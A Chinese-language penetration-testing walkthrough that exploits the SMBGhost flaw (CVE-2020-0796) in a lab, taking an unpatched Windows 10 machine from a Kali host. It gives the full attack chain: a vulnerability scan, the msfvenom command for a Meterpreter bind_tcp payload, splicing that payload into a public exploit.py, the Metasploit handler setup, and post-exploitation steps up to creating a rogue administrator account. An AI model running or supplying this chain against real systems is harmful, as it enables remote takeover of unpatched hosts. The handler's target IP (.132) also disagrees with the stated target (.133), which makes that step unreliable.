目录
本文详细分析了Windows SMBv3协议中的"永恒之黑"漏洞(CVE-2020-0796),该漏洞存在于Windows 10系统,允许攻击者通过特制数据包触发缓冲区溢出实现远程代码执行。实验环境搭建了Kali Linux攻击机(192.168.59.128)和Windows 10靶机(192.168.59.133),通过关闭靶机防火墙、禁用自动更新并开启SMB功能后,使用SMBGhost工具进行漏洞检测。利用MSF生成木马并替换PoC脚本,最终成功建立Meterpreter会话,实现了系统控制和新管理员账户创建。整个渗透过程包括环境配置、漏洞探测、攻击实施和后渗透操作四个主要环节。
| 组件 | 角色 | IP 地址 | 关键配置/状态 |
|---|---|---|---|
| Kali Linux | 攻击机 | 192.168.59.128 |
运行Metasploit,包含CVE-2020-0796利用模块 |
| Windows 10 | 靶机 | 192.168.59.133 |
系统版本为1903或1909,未打KB4551762补丁,SMBv3.1.1服务开启 |
| 虚拟网络 | 攻击链路 | 192.168.59.0/24 |
隔离网络,确保445端口通信 |
一、永恒之黑
1、漏洞简介
"永恒之黑"(也被称为SMBGhost )是一个在2020年3月 被微软确认并修复的Windows SMBv3 远程代码执行漏洞 。由于攻击者利用此漏洞无需任何用户身份验证 ,且可能引发类似"永恒之蓝"的蠕虫式传播,因此被冠以"永恒之黑"这个令人印象深刻的名字。
| 项目 | 详细说明 |
|---|---|
| CVE编号 | CVE-2020-0796 |
| 漏洞别名 | SMBGhost、永恒之黑、EternalDarkness |
| 漏洞类型 | 远程代码执行 & 本地权限提升 |
| 影响协议 | SMBv3.1.1 |
| 风险等级 | 高危 / 严重 |
| 主要危害 | 无需身份验证即可远程执行任意代码,可能导致蠕虫式传播,完全控制目标系统 。 |
2、漏洞原理
永恒之黑"漏洞的根源在于 SMBv3.1.1 协议在处理压缩消息时,存在安全检查缺失。具体来说:
-
问题核心 :在解压缩特定构造的数据包时,用于计算缓冲区大小的函数存在整数溢出问题。这会导致系统实际分配的内存空间小于需要解压的数据量。
-
漏洞触发 :当攻击者发送特制的压缩数据包时,会触发缓冲区溢出 。这可以覆盖内核内存,进而导致系统崩溃或被攻击者利用来执行任意代码,获得系统的最高控制权。
二、环境搭建
1、受影响的系统
"永恒之黑"主要影响了特定版本的Windows 10和Windows Server,Windows 7等旧版本系统不受影响。受影响的系统主要包括:
-
Windows 10 Version 1903 (用于 32-bit、x64-based、ARM64-based Systems)
-
Windows 10 Version 1909 (用于 32-bit、x64-based、ARM64-based Systems)
-
Windows Server, version 1903 (Server Core installation)
-
Windows Server, version 1909 (Server Core installation)
2、拓扑环境
本文搭建的永恒之黑漏洞的模拟攻击环境,由攻击机Kali Linux和目标靶机Windows 10构成。两台主机均部署于192.168.59.0/24虚拟子网,具体如下所示。

3、关闭靶机防火墙

4、关闭靶机自动更新
Windows系统不可以安装更新,否则这个漏洞可能被修复了,查看是否安装更新可以查看控制面板-程序(卸载)查看已经安装更新,如果实验失败了,看一下是否已经安装更新(如下图所示),若开启了更新需要重新装win10系统,装的时候断外网,否则装完iso重启一下可能就自动更新了,导致渗透失败。装好系统后,马上关闭自动更新,避免自动更新导致渗透失败。

5、确保开启靶机SMB功能
(1)配置程序
"win+R"快捷键弹出运行窗口,输入control确定,如下所示。

在弹出窗口点击"程序",如下所示。

(2)启动windows功能
在弹出窗口点击"启用或关闭Windows功能",如下所示。

(3)开启SMB功能
在弹出窗口点击"SMB 1.0/CIFS文件共享支持"进行全选,确定。

在弹出窗口等待搜索需要的文件,接着会自动进行功能启用,如下所示。

(4)重启电脑
在弹出窗口如图下,重启电脑即可(请保存好所打开文件再进行重启),如下所示。

三、漏洞探测
1、下载PoC
使用SMBGhost工具(下载链接为:https://github.com/ollypwn/SMBGhost)进行漏洞检测,下载后将其放到Kali攻击机中,如下所示。

如下所示scanner.py扫描的脚本文件位于~/liujiannan/SMBGhost-master目录中。

当前目录下,右键open terminal,如下所示。


2、漏洞探测
扫描靶机,确认靶机是否存在漏洞,首先进入到scanner.py的目录中,然后执行scanner.py,通过python3 scanner.py 192.168.59.133命令进行扫描漏洞,扫描地址为靶机192.168.59.133,如下所示192.168.59.133存在漏洞。

附:如果报错Traceback (most recent call last):
File "scanner.py", line 4, in <module>
from netaddr import IPNetwork
ModuleNotFoundError: No module named 'netaddr'
只需要执行pip install netaddr安装相应的netaddr包即可,如下所示、
pip install netaddr
Collecting netaddr
Downloading netaddr-1.2.1-py3-none-any.whl (2.3 MB)
---------------------------------------- 2.3/2.3 MB 1.9 MB/s eta 0:00:00
Installing collected packages: netaddr
Successfully installed netaddr-1.2.1
四、渗透实战
1、下载PoC
下载包含exploit.py脚本的SMBGhost_RCE_PoC木马生成工具(下载链接如下所示:https://github.com/chompie1337/SMBGhost_RCE_PoC)下载后放到kali中,此时exploit.py 木马生成脚本位于~/liujiannan/SMBGhost_RCE_PoC-master目录中。

在PoC脚本所在的目录中右键open terminal,如下所示。

如下所示,成功进入shell界面。

2、MSF生成木马
使用msf生成一个适用于 Windows x64 系统的、免杀的、连接到固定端口的后门程序代码,并以 Python 格式输出,命令如下所示。
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python
| 参数 | 含义解释 |
|---|---|
msfvenom |
Metasploit 框架中用于生成和编码 Payload 的核心工具。 |
-p windows/x64/meterpreter/bind_tcp |
-p 指定要使用的 Payload。 - windows/x64: 目标系统为 64 位 Windows。 - meterpreter: 使用高级的、动态可扩展的 Meterpreter 载荷。 - bind_tcp: 在目标机器上打开一个端口(4444)并等待攻击机来连接。这是一种"绑定的"连接方式。 |
LPORT=4444 |
设置 Payload 在目标机器上监听的端口号为 4444。 |
-b '\x00' |
-b 代表坏字符 。这里指定了 \x00(空字符),意味着在生成的 Shellcode 中要避免出现空字符。因为空字符在 C 语言和许多字符串处理函数中会被解释为字符串的结束,导致 Shellcode 被截断而失效。 |
-i 1 |
-i 指定编码迭代的次数 。这里设置为 1,代表只进行一次编码。增加迭代次数可以提高免杀效果,但也会增大 Shellcode 体积。 |
-f python |
-f 指定输出格式 。这里设置为 python,意味着生成的 Shellcode 将以 Python 语言代码的格式呈现,通常会是一个包含字节的变量(如 buf = b"x00x01..."),方便直接嵌入到 Python 编写的漏洞利用脚本中。 |


3、替换PoC脚本
将payload里面的code编码(将buf改为USER_PAYLOAD),并将其替换到exploit.py的USER_PAYLOAD参数
(1)首先将生成的code中的buf替换为USER_PAYLOAD,如下所示。

(2)修改渗透脚本,编辑exploit.py找到USER_PAYLOAD这一段,删掉原来的USER_PAYLOAD+=相关内容,将刚刚修改后的文字进行替换并进行保存,修改后如下所示。

4、MSF渗透配置
进入msf控制台,配置如下,这段代码主要是配置了一个反向连接处理器,用于接收通过漏洞在目标系统上部署的后门连接。它使用bind_tcp载荷,在靶机192.168.59.132上开启4444端口等待连接。当永恒之黑漏洞攻击成功后,该处理器会主动连接靶机端口建立Meterpreter会话,从而让攻击者获得对目标系统的完全控制权。这段代码本质是攻击链的最后一环,负责维持与受害主机的远程控制通道,所以注意此时只是配置完毕,并不进行run,而是等待下一步的exploit.py执行成功后,再执行run连接木马。
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 4444
set rhost 192.168.59.132

配置结束后查看效果,如下所示靶机为192.168.59.133,木马监听端口为4444。

5、exploit.py攻击
通过python3 exploit.py -ip 192.168.59.133开启攻击,如下所示。

这里注意如果执行失败无反应:确保第3步修改exploit.py脚本正确性。
6、MSF开启攻击
执行脚本成功后,切换到 msf 中执行run进行渗透,如下所示运行成功。

- 假设exploit.py恶意载荷(Shellcode)已经在 靶机 (192.168.59.132) 上被执行。
- 载荷会在靶机上打开 4444 端口并等待连接。
- kali攻击机msfconsole执行run主动去连接 靶机的 4444 端口 (
rhost 192.168.59.132:4444)。 - 连接成功后,攻击机便获得一个 Meterpreter 会话。
五、后渗透实战
1、查看ip地址

2、查看系统信息

3、查看用户身份

4、进入命令行页面

5、查看netstat
此时在靶机命令行执行netstat ,可知如下连接即为此次渗透的连接。

6、消除乱码

7、新建管理员账户

此时登录靶机,点击控制面板,用户管理,发现已创建成功相关账户。
